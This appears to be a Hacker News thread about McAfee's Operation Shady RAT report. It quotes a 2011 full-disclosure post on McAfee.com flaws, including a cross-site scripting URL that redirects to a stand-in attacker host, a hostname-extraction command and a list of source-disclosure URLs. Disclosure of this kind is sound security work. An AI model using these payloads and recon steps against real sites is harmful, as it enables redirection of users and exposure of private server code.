McAfee Labs researchers publish analyses of malware, ransomware, botnets, and security vulnerabilities.
HN links it for primary reporting on Operation Shady RAT, which a commenter calls more detailed than any popular account.
From - http://seclists.org/fulldisclosure/2011/Mar/313
Vulnerabilities in *McAfee.com
1. VULNERABILITY DESCRIPTION
-> Cross Site Scripting
http://download.mcafee.com/products/webhelp/4/1033/#javascript:top.location.replace(attacker.in)
-> Information Disclosure > Internal Hostname:
http://www.mcafee.com/js/omniture/omniture_profile.js
($ ruby host-extract.rb -a
http://www.mcafee.com/js/omniture/omniture_profile.js)
-> Information Disclosure > Source Code Disclosure:
view-source:http://download.mcafee.com/clinic/includes/commoninc/cookiecommon.asp
view-source:http://download.mcafee.com/clinic/includes/commoninc/appcommon.asp
view-source:http://download.mcafee.com/clinic/includes/commoninc/partnerCodesLibrary.asp
view-source:http://download.mcafee.com/clinic/Includes/common.asp
view-source:http://download.mcafee.com/updates/upgrade_patches.asp
view-source:http://download.mcafee.com/updates/common/dat_common.asp
view-source:http://download.mcafee.com/updates/updates.asp
view-source:http://download.mcafee.com/updates/superDat.asp
view-source:http://download.mcafee.com/eval/evaluate2.asp
view-source:http://download.mcafee.com/common/ssi/conditionals.asp
view-source:http://download.mcafee.com/common/ssi/errHandler_soft.asp
view-source:http://download.mcafee.com/common/ssi/variables.asp
…
In this case, look at the target data that was recovered from a single control server: http://blogs.mcafee.com/wp-content/uploads/2011/08/ShadyRAT_diagram_categories.jpg
US defense contractors; the governments of US, Canada, Vietnam, South Korea, Taiwan, and India; Democracy/Human Rights groups; mining, security, electronics, power companies.
That seems like an unlikely target list for someone who's in it for the 'lulz'.
http://blogs.mcafee.com/mcafee-labs/don%E2%80%99t-confuse-anonymous-with-a-russian-gang
Yes and No.
Russian Gangs are known to fly the flag of Anonymous, but I bet you that the rank-and-file members of Anon would prefer not to be confused with those guys.
More good commentary here on another HN post:
http://news.ycombinator.com/item?id=2840062
and the blog post on McAfee has more details than any popular account:
http://blogs.mcafee.com/mcafee-labs/revealed-operation-shady-rat
A better account of the story at the McAfee Blog: http://blogs.mcafee.com/mcafee-labs/revealed-operation-shady-rat